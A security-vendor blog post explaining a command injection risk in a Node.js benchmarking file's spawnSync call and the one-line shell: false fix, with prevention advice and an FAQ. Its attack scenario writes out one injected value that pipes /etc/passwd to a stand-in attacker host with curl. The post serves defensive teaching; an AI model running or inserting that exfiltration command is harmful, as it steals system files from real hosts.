Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `bench/src/grade.js` where a `child_process` call was made without explicitly disabling shell interpretation. By adding `shell: false` to the `spawnSync` options, the fix ensures that user-controlled input passed as the `task` argument cannot be weaponized to execute arbitrary shell commands. This proactive hardening raises the bar against automated exploit-chaining tools that target Node.js libraries.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a command injection risk (CWE-78) in Node.js, found in `bench/src/grade.js` at line 19. The `grade()` function passed a `task` argument directly into a `child_process` call without setting `shell: false`, meaning shell metacharacters in a user-controlled `task` value could be interpreted by the OS shell. The fix adds `shell: false` to the options object, preventing shell expansion and ensuring the process is spawned directly without shell interpretation.

Vulnerability at a Glance

cweCWE-78
fixAdded shell: false to the spawnSync options object in grade.js
riskAttacker-controlled input passed to child_process could execute arbitrary OS commands
languageJavaScript (Node.js)
root causechild_process invoked without shell:false, allowing shell metacharacter interpretation
vulnerabilityCommand Injection via child_process without shell:false

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process without shell: false
CWE CWE-78: Improper Neutralization of Special Elements in an OS Command
Language JavaScript (Node.js)
Risk Arbitrary OS command execution via shell metacharacter injection
Root Cause child_process invoked without shell: false, enabling shell interpretation
Fix Added shell: false to spawnSync options in grade.js

Introduction

The bench/src/grade.js file handles benchmark grading logic — it runs tasks, checks their exit status, and collects output. But a subtle flaw in the grade() function at line 19 created a meaningful security risk: a child_process call was made without explicitly setting shell: false, leaving the door open for shell metacharacter injection if the task argument ever carries attacker-controlled data.

This is a class of vulnerability that doesn't always look dangerous in isolation. The code might work perfectly fine in a controlled environment. But in the context of a Node.js library — where downstream consumers may pass inputs derived from user-facing systems — an unguarded child_process call is an exploit primitive waiting to be chained.


The Vulnerability Explained

What the code looked like before the fix

In bench/src/grade.js, the grade(task, code) function uses a child_process call (specifically spawnSync or equivalent) to execute a task. The options object passed to that call looked like this:

// Before fix — bench/src/grade.js (around line 19)
function grade(task, code) {
  // ...
  const r = spawnSync(task, {
    cwd: dir,
    timeout: 20000,
    encoding: "utf8",
    // shell: false was NOT set — shell interpretation was implicitly possible
  });
  const passed = r.status === 0;
  // ...
}

The critical missing option is shell: false. Without it, depending on how the task argument is constructed and which child_process variant is used, the OS shell may be invoked to interpret the command string — including any shell metacharacters embedded within it.

Why this is dangerous

When shell is not explicitly set to false, Node.js may invoke /bin/sh -c (on Unix) or cmd.exe /d /s /c (on Windows) to execute the command. This means the shell itself processes the string before execution — and the shell understands special characters like:

  • ; — command separator
  • && and || — conditional chaining
  • | — pipe to another process
  • $() and ` — command substitution
  • > and >> — output redirection

A concrete attack scenario

Imagine a downstream consumer of this Node.js library that constructs a task value from user input — for example, a CI/CD integration tool that lets users specify benchmark task names via a configuration file or API parameter. If that task value reaches grade() without sanitization, an attacker could supply:

legitimate-task; curl https://attacker.com/exfil?data=$(cat /etc/passwd)

Without shell: false, the shell would interpret the ; separator and execute both the legitimate task and the attacker's injected command — in this case exfiltrating /etc/passwd to a remote server.

Even if today's direct callers of grade() are trusted, the absence of shell: false is an exploit primitive. Automated exploit-development tools can chain this with other weaknesses (e.g., a path traversal that writes a malicious config, or an injection in a higher-level API that feeds into task) to achieve remote code execution.

Real-world impact for this component

This is a Node.js benchmarking library. Its consumers include:
- Developers running automated benchmark suites in CI pipelines
- Tools that accept task names or benchmark configurations from external sources
- Any integration that programmatically constructs task values from data that originates outside the codebase

For any of these consumers, an unguarded child_process call in grade() is a latent risk that becomes exploitable the moment the data flow from external input to this function is established.


The Fix

The fix is surgical and elegant: a single line added to the options object passed to the child_process call.

Before and After

// BEFORE — bench/src/grade.js:19
const r = spawnSync(task, {
  cwd: dir,
  timeout: 20000,
  encoding: "utf8",
  // No shell option — defaults may allow shell interpretation
});
// AFTER — bench/src/grade.js:19
const r = spawnSync(task, {
  cwd: dir,
  timeout: 20000,
  encoding: "utf8",
  shell: false,  // ← Explicitly disables shell interpretation
});

Why shell: false solves the problem

Setting shell: false tells Node.js to spawn the process directly — bypassing the OS shell entirely. The task argument is passed as a raw executable path or command, and any arguments are passed as an array rather than a shell-interpreted string. This means:

  1. No shell metacharacter expansion;, &&, |, $() are treated as literal characters, not shell syntax.
  2. No shell injection surface — there is no shell process to inject into.
  3. Predictable execution — the process behaves identically regardless of what characters appear in the input.

The fix is scoped to a single file and a single options object. It does not change the behavior for valid, benign inputs — a well-formed task value will execute exactly as before. It only closes the attack surface for malformed or malicious inputs.


Prevention & Best Practices

1. Always explicitly set shell: false in child_process calls

Never rely on default behavior. Make your security intent explicit:

// ✅ Safe — shell interpretation disabled
const result = spawnSync(executablePath, args, {
  shell: false,
  cwd: workingDir,
  timeout: 30000,
  encoding: "utf8",
});

// ⚠️ Risky — shell defaults vary by Node.js version and platform
const result = spawnSync(executablePath, {
  cwd: workingDir,
});

2. Prefer spawn / spawnSync over exec / execSync

exec and execSync always invoke a shell. spawn and spawnSync do not by default (and can be hardened with shell: false). For running known executables with known arguments, spawnSync with shell: false is the right choice.

// ✅ Preferred — no shell, arguments as array
const { spawnSync } = require("child_process");
spawnSync("node", ["--version"], { shell: false });

// ❌ Avoid for user-controlled input — always uses shell
const { execSync } = require("child_process");
execSync(`node --version`);

3. Validate and allowlist input before it reaches child_process

Even with shell: false, it's good practice to validate the task argument before passing it to grade():

const ALLOWED_TASKS = new Set(["benchmark-a", "benchmark-b", "benchmark-c"]);

function grade(task, code) {
  if (!ALLOWED_TASKS.has(task)) {
    throw new Error(`Invalid task: ${task}`);
  }
  // ... proceed with spawnSync
}

4. Run Semgrep in your CI pipeline

The Semgrep rule javascript.lang.security.detect-child-process that flagged this vulnerability is freely available. Add it to your CI pipeline to catch similar issues before they reach production:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: "p/javascript"

5. Apply the principle of least privilege

Even with shell: false, the child process inherits the permissions of the Node.js process. Run benchmark processes with the minimum necessary permissions, and consider using OS-level sandboxing (e.g., seccomp, namespaces) for untrusted workloads.

Security Standards Reference

  • OWASP: Command Injection — OS Command Injection prevention guidance
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP ASVS: V5.3.8 — Verify that the application protects against OS command injection

Key Takeaways

  • shell: false is a mandatory hardening step for any child_process call in grade.js or similar Node.js benchmark/runner utilities — not an optional nicety.
  • The task argument in grade(task, code) is an injection point: any code path that allows external data to flow into this parameter without shell: false is exploitable.
  • Missing a single option (shell: false) is enough to create a high-severity vulnerability — the fix is one line, but its absence has significant consequences.
  • Node.js libraries have a multiplied attack surface: a vulnerability in a library affects every downstream consumer, not just the library itself.
  • Exploit primitives matter even when not independently exploitable: the absence of shell: false is a building block that automated attack tools can chain with other weaknesses to achieve RCE.

How Orbis AppSec Detected This

  • Source: The task function argument in grade(task, code) — a value that can be influenced by downstream library consumers or external configuration.
  • Sink: The child_process call at bench/src/grade.js:19, where task is passed without shell interpretation being disabled.
  • Missing control: No shell: false option in the spawnSync invocation, and no allowlist validation of the task value before it reaches the process spawn call.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added shell: false to the options object passed to spawnSync in grade(), eliminating shell interpretation of the task argument.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single missing option — shell: false — in bench/src/grade.js created a command injection risk that could have been exploited by any downstream consumer of this Node.js library that passes externally-influenced data into the grade() function. The fix is minimal, targeted, and behavior-preserving for valid inputs.

This vulnerability is a reminder that security in Node.js child_process usage isn't just about avoiding exec() — it's about being explicit and intentional with every option you pass. Default behavior is not safe behavior. Setting shell: false should be a reflex whenever you reach for spawnSync or spawn.

Proactive removal of exploit primitives like this one — even before a confirmed exploit path exists — is exactly the kind of defense-in-depth that makes systems resilient against increasingly capable automated attack tools.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled data is passed to a child_process call without disabling shell interpretation, allowing shell metacharacters like `;`, `&&`, or `|` to execute arbitrary OS commands.

How do you prevent command injection in Node.js child_process?

Always pass `shell: false` in the options object when calling child_process functions like spawnSync, spawn, or execFile. This prevents the OS shell from interpreting metacharacters in the arguments.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation alone enough to prevent command injection in Node.js?

No. Input validation helps but is not sufficient on its own. Setting `shell: false` is a defense-in-depth measure that eliminates the shell interpretation layer entirely, regardless of what input validation is in place.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules specifically targeting child_process calls that may process user-controlled arguments, as demonstrated by this fix which was detected by the `javascript.lang.security.detect-child-process` Semgrep rule.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #46

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.